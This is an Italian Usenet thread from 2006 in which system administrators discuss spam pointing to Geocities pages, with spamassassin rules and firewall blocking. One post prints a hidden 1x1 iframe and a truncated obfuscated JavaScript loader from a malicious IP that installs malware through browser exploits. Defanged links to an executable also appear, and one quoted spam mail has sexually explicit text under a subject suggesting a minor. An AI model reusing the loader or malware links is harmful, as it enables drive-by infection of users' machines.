Newsgroup: it.news.net-abuse
Titolo: Spam "informativo"...


X-Virus-Scanned: amavisd-new at 
csr.unibo.it
X-Virus-Scanned: by amavisd-new at 
sslmit.unibo.it
X-Spam-Status: No, hits=4.2 tagged_above=3.0 required=5.3
  tests=ACCT_DETS_SPAM_URI, ACCT_DETS_SPAM_URI1, BAYES_50, MSGID_FROM_MTA_ID
X-Spam-Level: ****
Status:
Yo ZZZZZZZZZZ!
Venus Williams sfidata da... Paris Hilton  Amnesty attacca Israele: 
danni ai civili  Turchia/ Torna il terrorismo. Feriti 17 turchi e 10 
britannici
http://www.geocities.com/dona606792381
Risiko bancario/ Fari puntati su piazzetta Cuccia


X-Virus-Scanned: by amavisd-new at 
sslmit.unibo.it
X-Spam-Status: No, hits=4.2 tagged_above=3.0 required=5.3
	tests=ACCT_DETS_SPAM_URI, ACCT_DETS_SPAM_URI1, BAYES_50,
	MSGID_FROM_MTA_ID
X-Spam-Level: ****
Greetings AAA!!
http://www.geocities.com/grove137317366
."Nessuna solidarieta per Lech Walesa  "

 
http://www.geocities.com/dona606792381
    ?
In questi giorni stanno arrivando a barcate sia questi, che altri tipi 
con messaggi inglesi (tipo viagra o mutui ma ben scritti) che passano 
oltre le nostre difese (spamassassin con URIBL razor DCC pyzor).
Pero' quelli inglesi usano URL in altri dominii (spesso lo stesso 
IP per diversi dominii) e prima o poi vengono blacklistati (quelli 
passati stanotte stamattina spamassassin li becca, e quando ho provato a 
segnalarli a 
http://www.rulesemporium.com/cgi-bin/uribl.cgi
 la maggior
parte erano gia' stati registrati ...
... ma non penso blacklisteranno mai 
geocities.com
, e il testo del 
messaggio e' troppo breve e variabile per essere riconosciuto dai vari 
DCC o razor. 
Come venirne fuori "a livello di sistema" ? (a livello di utente posso 
anche permettermi di filtrare 
http://www.geocities.com/[a-z]*[0-9]*
 in 
procmail)
-- 
----------------------------------------------------------------------
nos...@mi.iasf.cnr.it
 is a newsreading account used by more persons to
avoid unwanted spam. Any mail returning to this address will be rejected.
Users can disclose their e-mail address in the article if they wish so.

 procmail)
Se ne può fare anche una regolina per spamassassin, eventualmente con un 
punteggio basso. Ne ho messa una anche sulla frase di saluto:
body SPAMNEWS_GREETING1   /(?:Greetings|Yo|Hi)[ .]+[a-z0-9_]+[.!]+/i


Ciao.
-- 
 /   _ _ | Navigare necesse est, vivere non est necesse  -- Pompeo
( (/( (/ | Concepción, Victoria, Sant'Antonio, Trinidad, Sant Jago


Ma porc...
Tenta di eseguire questo troione:
h__p://
195.225.176.34/stat2/0146/service32.exe

 h__p://
195.225.176.34/stat2/0146/service32.exe
Aggiungo che l'IP in questione ha una storia:
http://www.spamhaus.org/sbl/sbl.lasso?query=SBL46047

 tutte.
Credo sia una cosa automatica.
Proprio ieri mi è arrivato uno messaggio di questo tipo.
La mail era stata inviata un minuto prima che la ricevessi e la pagina 
su geocities era stata segata all'istante!!!
Credo si basino sui contenuti pubblicati con una sorta di "antispam" per 
pagine web.
A pensarci non sarebbe difficile da fare... basterebbe controllare il 
contenuto delle pagine hostate, l'hash dei file pubblicati, i link 
presenti nelle pagine (se ad esempio puntano a spazi o IP messi in 
blacklist)...
Voi che ne pensate?
bye

 pentothal ha scritto:

Se io gestissi Geocities, avrei *un mucchio* di script che mi
controllino automaticamente le pagine e i files uploadati... e
suppongo che loro non siano più fessi di me :-).
Bye, G. 


To: <%MUNGED%>
Subject:   Ladolescente fa sesso qui
Date: Fri, 1 Sep 2006 16:46:41 -0500
MIME-Version: 1.0
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Thread-Index: rB3yQkYHHuolwYbnRO7devWATSN3Sng1EAGt
Content-Type: text/plain;
         charset="Windows-1251"
Content-Transfer-Encoding: 8bit
Hi xxxxxxxxxxxxx!
Video con figa amatoriale, che prova piacere dal cazzo grandissimo, che fa 
male prima volta.
http://www.geocities.com/montano#########
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
Video con la prima esperienza della ragazza timida, che prova un cazzo prima 
volta.
-----------------------------
barth columbine authentic accretion cutout artery
attitude bandstop dignify amalgamate danubian barrackarmchair ain't be canto 
aile constitute Fri, 1 Sep 2006 16:46:41 -0500
######################## End of Spam ##################################
Tu vai a cliccare sul link  sopra riportato (censurato per motivi di 
sicurezza) e ti ritrovi un messaggio che dice "Sorry, this page removed". A 
quel punto pensi: che veloci quelli di geocities, etc. etc.
Sbagliato. Se vai a vedere il sorgente di quella pagina, ad un certo punto ti 
ritrovi:
Sorry, this page removed<br><iframe 
src="
http://195.225.176.34/xx/xxxx/index.php
" width=1 height=1></iframe
195.225.176.34 (o altro IP, perché variano), appartiene a netcathost e questo 
dovrebbe già far squillare il campanello di allarme.
La pagina che viene caricata nel frame contiene:
<Script Language="JavaScript">
var 
var6322524339=unescape('%3C%53%43%52%49%50%54%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63'+
[.....]
'%0D%0A%0D%0A');
document.write(var6322524339);
</Script>
Link offuscato... Le pagine cambiano in base al tuo browser. In ogni caso, 
per farla breve, è un sistema che usa diversi exploit in IE ed in Windows per 
installare malware sul tuo PC.
Io, al lavoro, ho segato da firewall tutto netcathost, giusto per non sbagliare.

> Però attenzione, a volte c'è il trucco (con sorpresa incorporata).
[CUT]
Si me ne sono accorto.
E' per questo che in azienda tutti hanno l'obbligo di usare Firefox.
Comunque domattina bloccherò gli ip di netcathost, giusto per stare più 
tranquillo.
bye

Nicola Ottomano ha scritto:

Ottima idea che seguirò anche io.